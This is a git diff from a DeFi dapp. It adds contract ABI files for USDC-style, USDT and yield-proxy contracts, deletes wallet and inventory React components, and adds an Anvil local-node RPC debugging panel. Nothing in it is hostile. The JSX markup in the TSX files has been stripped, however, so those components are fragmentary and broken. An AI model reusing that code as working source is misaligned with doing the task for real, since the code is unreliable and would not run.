"stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "minter", "type": "address" }], + "name": "minterAllowance", + "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], + "stateMutability": "view", + "type": "function" + }, + { "inputs": [], "name": "name", "outputs": [{ "internalType": "string", "name": "", "type": "string" }], "stateMutability": "view", "type": "function" }, + { + "inputs": [{ "internalType": "address", "name": "owner", "type": "address" }], + "name": "nonces", + "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], + "stateMutability": "view", + "type": "function" + }, + { "inputs": [], "name": "owner", "outputs": [{ "internalType": "address", "name": "", "type": "address" }], "stateMutability": "view", "type": "function" }, + { "inputs": [], "name": "pause", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, + { "inputs": [], "name": "paused", "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], "stateMutability": "view", "type": "function" }, + { "inputs": [], "name": "pauser", "outputs": [{ "internalType": "address", "name": "", "type": "address" }], "stateMutability": "view", "type": "function" }, + { + "inputs": [ + { "internalType": "address", "name": "owner", "type": "address" }, + { "internalType": "address", "name": "spender", "type": "address" }, + { "internalType": "uint256", "name": "value", "type": "uint256" }, + { "internalType": "uint256", "name": "deadline", "type": "uint256" }, + { "internalType": "uint8", "name": "v", "type": "uint8" }, + { "internalType": "bytes32", "name": "r", "type": "bytes32" }, + { "internalType": "bytes32", "name": "s", "type": "bytes32" } + ], + "name": "permit", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "from", "type": "address" }, + { "internalType": "address", "name": "to", "type": "address" }, + { "internalType": "uint256", "name": "value", "type": "uint256" }, + { "internalType": "uint256", "name": "validAfter", "type": "uint256" }, + { "internalType": "uint256", "name": "validBefore", "type": "uint256" }, + { "internalType": "bytes32", "name": "nonce", "type": "bytes32" }, + { "internalType": "uint8", "name": "v", "type": "uint8" }, + { "internalType": "bytes32", "name": "r", "type": "bytes32" }, + { "internalType": "bytes32", "name": "s", "type": "bytes32" } + ], + "name": "receiveWithAuthorization", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "minter", "type": "address" }], + "name": "removeMinter", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "contract IERC20", "name": "tokenContract", "type": "address" }, + { "internalType": "address", "name": "to", "type": "address" }, + { "internalType": "uint256", "name": "amount", "type": "uint256" } + ], + "name": "rescueERC20", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { "inputs": [], "name": "rescuer", "outputs": [{ "internalType": "address", "name": "", "type": "address" }], "stateMutability": "view", "type": "function" }, + { "inputs": [], "name": "symbol", "outputs": [{ "internalType": "string", "name": "", "type": "string" }], "stateMutability": "view", "type": "function" }, + { + "inputs": [], + "name": "totalSupply", + "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "to", "type": "address" }, + { "internalType": "uint256", "name": "value", "type": "uint256" } + ], + "name": "transfer", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "from", "type": "address" }, + { "internalType": "address", "name": "to", "type": "address" }, + { "internalType": "uint256", "name": "value", "type": "uint256" } + ], + "name": "transferFrom", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "newOwner", "type": "address" }], + "name": "transferOwnership", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "from", "type": "address" }, + { "internalType": "address", "name": "to", "type": "address" }, + { "internalType": "uint256", "name": "value", "type": "uint256" }, + { "internalType": "uint256", "name": "validAfter", "type": "uint256" }, + { "internalType": "uint256", "name": "validBefore", "type": "uint256" }, + { "internalType": "bytes32", "name": "nonce", "type": "bytes32" }, + { "internalType": "uint8", "name": "v", "type": "uint8" }, + { "internalType": "bytes32", "name": "r", "type": "bytes32" }, + { "internalType": "bytes32", "name": "s", "type": "bytes32" } + ], + "name": "transferWithAuthorization", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "_account", "type": "address" }], + "name": "unBlacklist", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { "inputs": [], "name": "unpause", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, + { + "inputs": [{ "internalType": "address", "name": "_newBlacklister", "type": "address" }], + "name": "updateBlacklister", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "_newMasterMinter", "type": "address" }], + "name": "updateMasterMinter", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "_newPauser", "type": "address" }], + "name": "updatePauser", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "newRescuer", "type": "address" }], + "name": "updateRescuer", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { "inputs": [], "name": "version", "outputs": [{ "internalType": "string", "name": "", "type": "string" }], "stateMutability": "view", "type": "function" } +] diff --git a/packages/dapp/components/config/abis/usdt-token.json b/packages/dapp/components/config/abis/usdt-token.json new file mode 100644 index 000000000..79ab42e9b --- /dev/null +++ b/packages/dapp/components/config/abis/usdt-token.json @@ -0,0 +1,349 @@ +[ + { + "constant": true, + "inputs": [], + "name": "name", + "outputs": [{ "name": "", "type": "string" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": false, + "inputs": [{ "name": "_upgradedAddress", "type": "address" }], + "name": "deprecate", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": false, + "inputs": [ + { "name": "_spender", "type": "address" }, + { "name": "_value", "type": "uint256" } + ], + "name": "approve", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "deprecated", + "outputs": [{ "name": "", "type": "bool" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": false, + "inputs": [{ "name": "_evilUser", "type": "address" }], + "name": "addBlackList", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "totalSupply", + "outputs": [{ "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": false, + "inputs": [ + { "name": "_from", "type": "address" }, + { "name": "_to", "type": "address" }, + { "name": "_value", "type": "uint256" } + ], + "name": "transferFrom", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "upgradedAddress", + "outputs": [{ "name": "", "type": "address" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [{ "name": "", "type": "address" }], + "name": "balances", + "outputs": [{ "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "decimals", + "outputs": [{ "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "maximumFee", + "outputs": [{ "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "_totalSupply", + "outputs": [{ "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { "constant": false, "inputs": [], "name": "unpause", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, + { + "constant": true, + "inputs": [{ "name": "_maker", "type": "address" }], + "name": "getBlackListStatus", + "outputs": [{ "name": "", "type": "bool" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [ + { "name": "", "type": "address" }, + { "name": "", "type": "address" } + ], + "name": "allowed", + "outputs": [{ "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "paused", + "outputs": [{ "name": "", "type": "bool" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [{ "name": "who", "type": "address" }], + "name": "balanceOf", + "outputs": [{ "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { "constant": false, "inputs": [], "name": "pause", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, + { + "constant": true, + "inputs": [], + "name": "getOwner", + "outputs": [{ "name": "", "type": "address" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "owner", + "outputs": [{ "name": "", "type": "address" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "symbol", + "outputs": [{ "name": "", "type": "string" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": false, + "inputs": [ + { "name": "_to", "type": "address" }, + { "name": "_value", "type": "uint256" } + ], + "name": "transfer", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": false, + "inputs": [ + { "name": "newBasisPoints", "type": "uint256" }, + { "name": "newMaxFee", "type": "uint256" } + ], + "name": "setParams", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": false, + "inputs": [{ "name": "amount", "type": "uint256" }], + "name": "issue", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": false, + "inputs": [{ "name": "amount", "type": "uint256" }], + "name": "redeem", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": true, + "inputs": [ + { "name": "_owner", "type": "address" }, + { "name": "_spender", "type": "address" } + ], + "name": "allowance", + "outputs": [{ "name": "remaining", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "basisPointsRate", + "outputs": [{ "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [{ "name": "", "type": "address" }], + "name": "isBlackListed", + "outputs": [{ "name": "", "type": "bool" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": false, + "inputs": [{ "name": "_clearedUser", "type": "address" }], + "name": "removeBlackList", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "MAX_UINT", + "outputs": [{ "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": false, + "inputs": [{ "name": "newOwner", "type": "address" }], + "name": "transferOwnership", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": false, + "inputs": [{ "name": "_blackListedUser", "type": "address" }], + "name": "destroyBlackFunds", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { "name": "_initialSupply", "type": "uint256" }, + { "name": "_name", "type": "string" }, + { "name": "_symbol", "type": "string" }, + { "name": "_decimals", "type": "uint256" } + ], + "payable": false, + "stateMutability": "nonpayable", + "type": "constructor" + }, + { "anonymous": false, "inputs": [{ "indexed": false, "name": "amount", "type": "uint256" }], "name": "Issue", "type": "event" }, + { "anonymous": false, "inputs": [{ "indexed": false, "name": "amount", "type": "uint256" }], "name": "Redeem", "type": "event" }, + { "anonymous": false, "inputs": [{ "indexed": false, "name": "newAddress", "type": "address" }], "name": "Deprecate", "type": "event" }, + { + "anonymous": false, + "inputs": [ + { "indexed": false, "name": "feeBasisPoints", "type": "uint256" }, + { "indexed": false, "name": "maxFee", "type": "uint256" } + ], + "name": "Params", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { "indexed": false, "name": "_blackListedUser", "type": "address" }, + { "indexed": false, "name": "_balance", "type": "uint256" } + ], + "name": "DestroyedBlackFunds", + "type": "event" + }, + { "anonymous": false, "inputs": [{ "indexed": false, "name": "_user", "type": "address" }], "name": "AddedBlackList", "type": "event" }, + { "anonymous": false, "inputs": [{ "indexed": false, "name": "_user", "type": "address" }], "name": "RemovedBlackList", "type": "event" }, + { + "anonymous": false, + "inputs": [ + { "indexed": true, "name": "owner", "type": "address" }, + { "indexed": true, "name": "spender", "type": "address" }, + { "indexed": false, "name": "value", "type": "uint256" } + ], + "name": "Approval", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { "indexed": true, "name": "from", "type": "address" }, + { "indexed": true, "name": "to", "type": "address" }, + { "indexed": false, "name": "value", "type": "uint256" } + ], + "name": "Transfer", + "type": "event" + }, + { "anonymous": false, "inputs": [], "name": "Pause", "type": "event" }, + { "anonymous": false, "inputs": [], "name": "Unpause", "type": "event" } +] diff --git a/packages/dapp/components/config/abis/yield-proxy.json b/packages/dapp/components/config/abis/yield-proxy.json new file mode 100644 index 000000000..cc8c93ea6 --- /dev/null +++ b/packages/dapp/components/config/abis/yield-proxy.json @@ -0,0 +1,531 @@ +[ + { + "inputs": [ + { + "internalType": "address", + "name": "_manager", + "type": "address" + }, + { + "internalType": "address", + "name": "_jar", + "type": "address" + }, + { + "internalType": "uint256", + "name": "_fees", + "type": "uint256" + }, + { + "internalType": "uint256", + "name": "_ubqRate", + "type": "uint256" + }, + { + "internalType": "uint256", + "name": "_bonusYield", + "type": "uint256" + } + ], + "stateMutability": "nonpayable", + "type": "constructor" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": true, + "internalType": "address", + "name": "_user", + "type": "address" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_amount", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_shares", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_fee", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_ratio", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_uadAmount", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_ubqAmount", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_bonusYield", + "type": "uint256" + } + ], + "name": "Deposit", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": false, + "internalType": "address", + "name": "_to", + "type": "address" + }, + { + "indexed": false, + "internalType": "address", + "name": "token", + "type": "address" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "amount", + "type": "uint256" + } + ], + "name": "DustSent", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": false, + "internalType": "address", + "name": "account", + "type": "address" + } + ], + "name": "Paused", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": false, + "internalType": "address", + "name": "_token", + "type": "address" + } + ], + "name": "ProtocolTokenAdded", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": false, + "internalType": "address", + "name": "_token", + "type": "address" + } + ], + "name": "ProtocolTokenRemoved", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": false, + "internalType": "address", + "name": "account", + "type": "address" + } + ], + "name": "Unpaused", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { + "indexed": true, + "internalType": "address", + "name": "_user", + "type": "address" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_amount", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_shares", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_fee", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_ratio", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_uadAmount", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_ubqAmount", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_bonusYield", + "type": "uint256" + }, + { + "indexed": false, + "internalType": "uint256", + "name": "_uARYield", + "type": "uint256" + } + ], + "name": "WithdrawAll", + "type": "event" + }, + { + "inputs": [], + "name": "BONUS_YIELD_MAX", + "outputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "ETH_ADDRESS", + "outputs": [ + { + "internalType": "address", + "name": "", + "type": "address" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "FEES_MAX", + "outputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "UBQ_RATE_MAX", + "outputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "address", + "name": "_token", + "type": "address" + } + ], + "name": "addProtocolToken", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [], + "name": "bonusYield", + "outputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "uint256", + "name": "_amount", + "type": "uint256" + }, + { + "internalType": "uint256", + "name": "_uadAmount", + "type": "uint256" + }, + { + "internalType": "uint256", + "name": "_ubqAmount", + "type": "uint256" + } + ], + "name": "deposit", + "outputs": [ + { + "internalType": "bool", + "name": "", + "type": "bool" + } + ], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [], + "name": "fees", + "outputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "address", + "name": "_address", + "type": "address" + } + ], + "name": "getInfo", + "outputs": [ + { + "internalType": "uint256[7]", + "name": "", + "type": "uint256[7]" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "jar", + "outputs": [ + { + "internalType": "contract IJar", + "name": "", + "type": "address" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "manager", + "outputs": [ + { + "internalType": "contract UbiquityAlgorithmicDollarManager", + "name": "", + "type": "address" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "paused", + "outputs": [ + { + "internalType": "bool", + "name": "", + "type": "bool" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "address", + "name": "_token", + "type": "address" + } + ], + "name": "removeProtocolToken", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "address", + "name": "_to", + "type": "address" + }, + { + "internalType": "address", + "name": "_token", + "type": "address" + }, + { + "internalType": "uint256", + "name": "_amount", + "type": "uint256" + } + ], + "name": "sendDust", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "uint256", + "name": "_fees", + "type": "uint256" + } + ], + "name": "setDepositFees", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "address", + "name": "_jar", + "type": "address" + } + ], + "name": "setJar", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { + "internalType": "uint256", + "name": "_ubqRate", + "type": "uint256" + } + ], + "name": "setUBQRate", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [], + "name": "token", + "outputs": [ + { + "internalType": "contract ERC20", + "name": "", + "type": "address" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "ubqMaxAmount", + "outputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "ubqRate", + "outputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256" + } + ], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "withdrawAll", + "outputs": [ + { + "internalType": "bool", + "name": "", + "type": "bool" + } + ], + "stateMutability": "nonpayable", + "type": "function" + } +] diff --git a/packages/dapp/components/config/named-accounts.json b/packages/dapp/components/config/named-accounts.json index 397176562..f06cb15b1 100644 --- a/packages/dapp/components/config/named-accounts.json +++ b/packages/dapp/components/config/named-accounts.json @@ -10,6 +10,5 @@ "daiWhaleAddress": "0x16463c0fdB6BA9618909F5b120ea1581618C1b9E", "sushiMultiSig": "0x9a8541Ddf3a932a9A922B607e9CF7301f1d47bD1", "ubq": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "jarUSDCAddr": "0xEB801AB73E9A2A482aA48CaCA13B1954028F4c94", "yieldProxy": "0x580F30316562448f4642bd33fb44f2Ca1Bc0Cc1e" } diff --git a/packages/dapp/components/layout/Inventory.tsx b/packages/dapp/components/layout/Inventory.tsx deleted file mode 100644 index f699dc40d..000000000 --- a/packages/dapp/components/layout/Inventory.tsx +++ /dev/null @@ -1,150 +0,0 @@ -import Tippy from "@tippyjs/react"; -import { BaseContract, BigNumber, ethers } from "ethers"; -import { useEffect } from "react"; - -import useWeb3 from "@/lib/hooks/useWeb3"; -import icons from "@/ui/icons"; - -import useManagerManaged from "../lib/hooks/contracts/useManagerManaged"; -import useNamedContracts from "../lib/hooks/contracts/useNamedContracts"; -import useBalances, { Balances } from "../lib/hooks/useBalances"; -import { ManagedContracts } from "../lib/hooks/contracts/useManagerManaged"; - -const Inventory = () => { - const [{ walletAddress }] = useWeb3(); - const [balances, refreshBalances] = useBalances(); - const managedContracts = useManagerManaged(); - const namedContracts = useNamedContracts(); - - useEffect(() => { - if (walletAddress) { - refreshBalances(); - } - }, [walletAddress]); - - if (!walletAddress || !balances || !managedContracts || !namedContracts) { - return null; - } - - return ( -
-
- {/* My inventory */} - {/* */} -
-
-
- {showIfBalanceExists("uad", "uAD", "dollarToken")} - {showIfBalanceExists("ucr", "uCR", "creditToken")} - {showIfBalanceExists("ucrNft", "uCR-NFT", "creditNft")} - {showIfBalanceExists("ubq", "UBQ", "governanceToken")} - {showIfBalanceExists("_3crv", "3crv", "_3crvToken")} - {showIfBalanceExists("uad3crv", "uAD3CRV-f", "dollarMetapool")} - {showIfBalanceExists("usdc", "USDC", "usdc")} - {showIfBalanceExists("dai", "DAI", "dai")} - {showIfBalanceExists("usdt", "USDT", "usdt")} -
-
-
- ); - - function showIfBalanceExists(key: keyof Balances | keyof typeof namedContracts, name: keyof typeof tokenSvg, id: string) { - const usdcFix = function () { - if (key == "usdc") return 6; - else return 18; - }; - - const balance = (balances as Balances)[key]; - if (Number(balance) && managedContracts) { - let selectedContract = managedContracts[id as keyof ManagedContracts] as BaseContract; - if (!selectedContract && namedContracts) { - selectedContract = namedContracts[key as keyof typeof namedContracts]; - } - - return ; - } - } -}; - -interface TokenInterface { - balance: BigNumber; - token: keyof typeof tokenSvg; - tokenAddr?: string; - accountAddr?: string; - decimals?: number; -} - -const Token = ({ balance, token, tokenAddr, accountAddr, decimals = 18 }: TokenInterface) => { - const Svg = tokenSvg[token] || (() => <>); - - const ethereum = window.ethereum; - - const addTokenToWallet = async () => { - if (!ethereum?.request) { - return; - } - try { - const base64Img = icons.base64s[token.toLowerCase()]; - const wasAdded = await ethereum.request({ - method: "wallet_watchAsset", - params: { - type: "ERC20", - options: { - address: tokenAddr, - symbol: token, - decimals: decimals, - image: base64Img, - }, - }, - }); - if (wasAdded) { - console.log("Thanks for your interest!"); - } else { - console.log("Your loss!"); - } - } catch (error) { - console.log(error); - } - }; - - return ( -
-
-
- {} - - Add to MetaMask -
- } - placement="top" - duration={0} - > - - -
- -
- - ); -}; - -const tokenSvg = { - uAD: () => icons.svgs.uad, - uCR: () => icons.svgs.ucr, - "uCR-NFT": () => icons.svgs.ucrNft, - UBQ: () => icons.svgs.ubq, - USDC: () => icons.svgs.usdc, - DAI: () => icons.svgs.dai, - USDT: () => icons.svgs.usdt, - "3crv": () => , - "uAD3CRV-f": () => , -}; - -export default Inventory; diff --git a/packages/dapp/components/layout/WalletConnect.tsx b/packages/dapp/components/layout/WalletConnect.tsx deleted file mode 100644 index bf89cb87d..000000000 --- a/packages/dapp/components/layout/WalletConnect.tsx +++ /dev/null @@ -1,99 +0,0 @@ -import { useEffect, useState } from "react"; -import useWeb3 from "../lib/hooks/useWeb3"; -import Button from "../ui/Button"; - -const PROD = process.env.NODE_ENV == "production"; - -const WalletConnect = () => { - const [walletModal, setWalletModal] = useState(false); - const [{ walletAddress, providerMode, connecting, metamaskInstalled }, { disconnect, connectMetaMask }] = useWeb3(); - - const promptConnectWallet = () => { - setWalletModal(true); - }; - - useEffect(() => { - if (walletModal && PROD) { - connectMetaMask(); - } - }, [walletModal]); - - return ( - <> -
- {walletAddress ? ( -
- - - {shortenAddress(walletAddress)} - -
- ) : ( - <> - - - )} - {walletModal && !walletAddress && !PROD && setWalletModal(false)} />} -
- - ); -}; - -export default WalletConnect; - -function Modal({ onClose, metamaskInstalled }: { onClose: () => void; metamaskInstalled: boolean }) { - const [{ provider }, { connectMetaMask, connectJsonRpc }] = useWeb3(); - - console.log("PROVIDER!", provider); - - function Btn({ text, onClick, icon }: { text: string; icon: string; onClick: () => void }) { - return ( -
onClick()}> - {text} - - - -
- ); - } - - function promptForWalletAddress() { - const promptedWallet = prompt("Wallet address to use and impersonate?"); - if (promptedWallet) { - connectJsonRpc(promptedWallet); - } - } - - return ( - - ); -} - -function shortenAddress(address: string) { - return address.slice(0, 6) + "..." + address.slice(-4); -} diff --git a/packages/dapp/components/layout/anvil/anvil-rpcs.tsx b/packages/dapp/components/layout/anvil/anvil-rpcs.tsx new file mode 100644 index 000000000..6dfb9cb3c --- /dev/null +++ b/packages/dapp/components/layout/anvil/anvil-rpcs.tsx @@ -0,0 +1,294 @@ +import Button from "../../ui/button"; +import { methodConfigs } from "./method-configs"; +import useWeb3 from "@/components/lib/hooks/use-web-3"; +import { LOCAL_NODE_ADDRESS } from "@/components/lib/hooks/use-web-3"; +import { useState } from "react"; + +export default function AnvilRpcs() { + const [isHidden, setIsHidden] = useState(true); + const [isVisible, setIsVisible] = useState(0); + const [methodArgs, setMethodArgs] = useState>({}); + const { signer } = useWeb3(); + + const handleFetch = async (method: string, params: unknown[]) => { + const result = await fetch(LOCAL_NODE_ADDRESS, { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + body: JSON.stringify({ + jsonrpc: "2.0", + id: 1, + method: method, + params: params, + }), + }).then((res) => res.json()); + + return result; + }; + + const handleMethodCall = async (meth: string) => { + const method = methodConfigs.find((method) => method.methodName === meth); + + if (!method) { + console.error(`No method found for ${meth} in methodConfigs`); + return; + } + + const args = method.params.map((arg) => methodArgs[arg.name]); + console.log("args", args); + const methodArgTypes = method.params.map((arg) => arg.type); + console.log("methodArgTypes", methodArgTypes); + const typedArgs: (string | number | bigint | boolean)[] = []; + + args.forEach((arg, i) => { + try { + arg = arg.trim(); + } catch (e) { + /* empty */ + } + + function convertToArgType(arg: string, type: string) { + let argTyped = arg as bigint | number | boolean | string; + switch (type) { + case "bigint": + return (argTyped = BigInt(arg)); + case "number": + return (argTyped = Number(arg)); + case "boolean": + return (argTyped = Boolean(arg)); + case "string": + return (argTyped = String(arg)); + default: + return argTyped; + } + } + + const convertedArg = convertToArgType(arg, methodArgTypes[i]); + typedArgs.push(convertedArg); + }); + + let result; + + try { + if (method.methodName == "eth_sendTransaction") { + const nonce = await signer?.getTransactionCount(); + let nonceToHex = nonce?.toString(16); + nonceToHex = "0x" + nonceToHex; + + const tx = { + to: args[1], + from: args[0], + nonce: nonceToHex, + }; + + const transaction = await handleFetch(method.methodName, [tx]); + console.log("transaction: ", transaction); + return; + } else { + result = await handleFetch(method.methodName, typedArgs); + } + } catch (error) { + /* empty */ + } + + for (let i = 0; i < args.length; i++) { + const ele = document.getElementById(`${method.methodName}-input-${i}}`); + if (ele) ele.textContent = ""; + } + + setMethodArgs({}); + + console.log(result); + + if (method.download) { + if (!result) return console.log("No result"); + + const blob = new Blob([JSON.stringify(result)], { type: "application/json" }); + const url = URL.createObjectURL(blob); + const downloadButton = document.getElementById(`${method.methodName}-output`); + if (!downloadButton) return console.log("No download button"); + downloadButton.setAttribute("href", url); + downloadButton.setAttribute("download", `${method.methodName}-output`); + const img = downloadButton.querySelector("img"); + if (!img) return console.log("No img"); + const replace = document.createElement("img"); + replace.width = 50; + replace.style.cursor = "pointer"; + replace.className = "downloadButton"; + img.replaceWith(replace); + } + }; + + return ( +
+
+ +
+
+
+ {isVisible == 0 && ( + <> + + + + + )} +
+ {isVisible == 1 && ( + <> + + + + Method + Params + Call + + {methodConfigs + .filter((method) => method.type === "chain") + .map((method) => { + const handleInputChange = (argName: string, value: string) => { + setMethodArgs((prevArgs) => ({ ...prevArgs, [argName]: value })); + }; + + return ( + + + {method.name} + {" "} + {method.download ? : null}{" "} + + + {method.params.map((param, i) => ( +
+ handleInputChange(param.name, e.target.value)} + /> +
+ ))} + + + + + + ); + })} + + + )} + + {isVisible == 2 && ( + <> + + + + Method + Params + Call + + {methodConfigs + .filter((method) => method.type === "user") + .map((method) => { + const handleInputChange = (argName: string, value: string) => { + setMethodArgs((prevArgs) => ({ ...prevArgs, [argName]: value })); + }; + + return ( + + + {method.name} + {" "} + {method.download ? : null}{" "} + + + {method.params.map((param, i) => ( +
+ handleInputChange(param.name, e.target.value)} + /> +
